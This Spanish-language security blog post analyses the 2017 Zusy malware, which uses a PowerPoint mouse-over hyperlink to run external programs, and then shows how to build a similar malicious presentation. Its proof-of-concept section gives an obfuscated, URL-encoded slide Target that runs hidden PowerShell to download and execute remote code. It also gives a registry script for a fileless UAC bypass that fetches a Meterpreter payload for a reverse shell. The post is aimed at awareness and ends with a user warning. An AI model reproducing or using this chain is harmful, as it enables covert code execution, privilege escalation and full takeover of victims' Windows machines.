sábado, 17 de junio de 2017

Zusy: Cómo un PowerPoint entrega tu Windows a un atacante malo

Hace unos días se hacía pública la aparición de un malware denominado “Zusy”, que se introduce en los equipos utilizando como vector de entrada un archivo en formato Microsoft PowerPoint. Una de las peculiaridades de este malware respecto a otros que se han encontrado en el pasado, es que su ejecución no depende de que el usuario active las macros - muy populares hasta hoy -, sino que utiliza una característica propia de PowerPoint que permite la ejecución de programas externos. En este artículo vamos a analizar el método de entrada utilizado por este malware, y las posibles consecuencias que puede tener en el equipo de una víctima.

Todo comienza con un simple archivo PowerPoint que, cuando es ejecutado por el usuario, muestra la siguiente diapositiva:


Figura 2: Diapositiva de gancho para capturar el movimiento del ratón

Cuando el usuario pasa el ratón por encima del hipervínculo, PowerPoint muestra el siguiente mensaje:

Figura 3: Warning de MS PowerPoint por la ejecución de programas externos

Éste es el punto crítico, donde Microsoft PowerPoint nos avisa de que se ha bloqueado la ejecución de un programa externo y nos da la posibilidad de habilitarla. Si el usuario lo habilita, PowerPoint ejecuta una Powershell que hace de "dropper" y descarga el malware en el equipo y lo ejecuta, al estilo del PsBot de nuestro compañero Pablo González.

Esto, que a priori puede parecer un tanto enrevesado, tiene un fundamento técnico bastante sencillo. ¡Vamos con ello! En esta sección vamos a ir analizando poco a poco el funcionamiento del malware Zusy, y nos construiremos nuestra propia presentación en PowerPoint maliciosa, con el mismo comportamiento.


Construyendo tu propio Zusy

Para comenzar tenemos que entender la capacidad que tiene PowerPoint para ejecutar programas externos. Como hemos visto anteriormente, cuando pasamos el ratón por encima del hipervínculo nos aparece un cuadro de dialogo que nos indica que se está intentando ejecutar un programa externo. Si buscamos en la documentación oficial de Microsoft que la herramienta da la posibilidad de ejecutar un programa durante una presentación en PowerPoint, por lo que vamos a añadir una Powershell con la opción de que se lance al pasar el ratón por encima.

Figura 4: Ejecución de Powershell al mover el ratón por encima

Una vez añadido, guardamos nuestra presentación como fichero .ppsx y lo probamos. Cuando pasamos el ratón por encima, podemos ver como aparece el cuadro de dialogo que indicábamos anteriormente sobre la ejecución de programas externos, si lo habilitamos, se abre una consola Powershell.

Figura 5: Código del hipervínculo para ejecutar el programa en slide1.xml

Al analizar el código de los ficheros OOXML, que son en formato XML, podemos ver qué es lo que PowerPoint ha añadido en el código de la "Slide1" para habilitar la ejecución del programa. Como sabéis, es tan sencillo como extraer el contenido del archivo .ppsx con un descompresor tipo ZIP.

Figura 6: En slide1.xml.rels está el target que se va a abrir

En slide1.xml.rels encontramos la ruta del programa que se está ejecutando, vamos a comprobar, si además de ejecutar programas, ejecuta también los argumentos que le proporcionemos, para ello modificamos slide1.xml.rels de la siguiente manera:

Figura 7: Añadir parámetros de ejecución al hipervínculo manualmente

Si abrimos la presentación y pasamos el ratón sobre el enlace, podemos comprobar como ahora se abre una calculadora. Con lo cual si se pueden ejecutar argumentos con los programas.

Figura 8: Ahora se ejecutaría la calculadora

Una vez tenemos identificado el método principal con el que el malware ejecuta programas a través de un archivo PowerPoint, vamos a ver, a través de una prueba de concepto, porque esto puede ser peligroso para los usuarios.


Prueba de concepto

Con la técnica que hemos visto anteriormente, vamos a insertar el siguiente comando en el fichero slide1.xml.rels de nuestra presentación maliciosa en formato PowerPoint:
Target="powershell%20-NoP%20-NonI%20-W%20Hidden%20-Exec%20Bypass%20%22IEX%20(New-Object%20System.Net.WebClient).DownloadString(%27https%3A%27%2B%5Bchar%5D%200x2F%2B%5Bchar%5D%200x2F%2B%27goo.gl%27%2B%5Bchar%5D%200x2F%2B%27r9L7vv%27)"
Que es la representación en formato URLEncode de:
powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadString('https:'+[char] 0x2F+[char] 0x2F+'dominio'+[char] 0x2F+'recurso')
Este comando lo que hace es ejecutar Powershell, que a su vez hace una petición a una dirección determinada para descargar un archivo y posteriormente ejecutarlo sin llegar a guardarlo en disco. Como podemos ver en la figura anterior, la URL se forma sustituyendo el carácter “/” por “[char] 0x2F”. Esta es una forma de “ofuscar” la dirección, de tal manera que PowerPoint no tome ninguna medida de seguridad y la procese correctamente.  Si se pone la dirección URL sin esto, veremos como no es posible ejecutar la petición.

Una vez tenemos el comando insertado en el archivo PowerPoint, nos falta decidir qué fichero descargaremos del servidor remoto y ejecutaremos. En este caso, para que el nivel de compromiso sea el mayor posible, descargaremos un archivo que ejecutará una serie de sentencias similares a las siguientes:
$registryPath = "HKCU:\Software\Classes\exefile\shell\runas\command"
$name = "IsolatedCommand"
$value = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C `"IEX (New-Object Net.WebClient).DownloadString('url_meterpreter)`""
New-ItemProperty -Path $registryPath
` -Name $name `
-Value $value `
-PropertyType ExpandString
` -Force | Out-Null
Este código inserta en el registro de Windows un valor determinado, en este caso una nueva petición para descargar y ejecutar un archivo desde un servidor remoto. Esto lo hacemos para utilizar la técnica de fileless UAC bypass, para elevar privilegios.

Cuando el binario que hace el UAC bypass se ejecute, llamará a Powershell con los argumentos necesarios para que haga una petición al servidor remoto y descargue y ejecute un payload con un Meterpreter, esta vez con privilegios de administración. Tras esto, la máquina del atacante recibirá una conexión reversa desde la de la víctima. Veamos todo el proceso resumido y esquematizado:

Figura 9: Esquema del PoC que se realiza
1. El usuario ejecuta el fichero PowerPoint malicioso. 
2. El fichero PowerPoint ejecuta Powershell con una serie de argumentos que realizan una llamada a un servidor para descargar y ejecutar un fichero sin privilegios de administración. 
3. El fichero descargado y ejecutado, realiza cambios en el registro de la víctima para realizar un UAC bypass, a continuación, ejecuta el binario vulnerable a dicho bypass. 
4. Debido a que la rama del registro ha sido envenenada, el binario ejecutado llama a Powershell con una serie de argumentos que realizan otra petición al servidor y descargan otro fichero para ejecutarlo, ¡esta vez como administrador! 
5. El fichero ejecutado contiene un payload que realiza una conexión reversa a la máquina del atacante. 
6. El atacante tiene acceso completo a la máquina de la víctima con máximos privilegios.



Figura 10: PoC de Cómo obtener una sesión Meterpreter desde un PowerPoint

Como podemos observar, la diferencia entre que tu maquina sea comprometida totalmente y no lo sea, está en pulsar el botón de habilitar en el aviso que te muestra PowerPoint, una aplicación que a priori es bastante confiable. Por eso se debe estar siempre muy atento a la hora de abrir o ejecutar los archivos que nos envíen y leer detenidamente los avisos de seguridad antes de aceptarlos.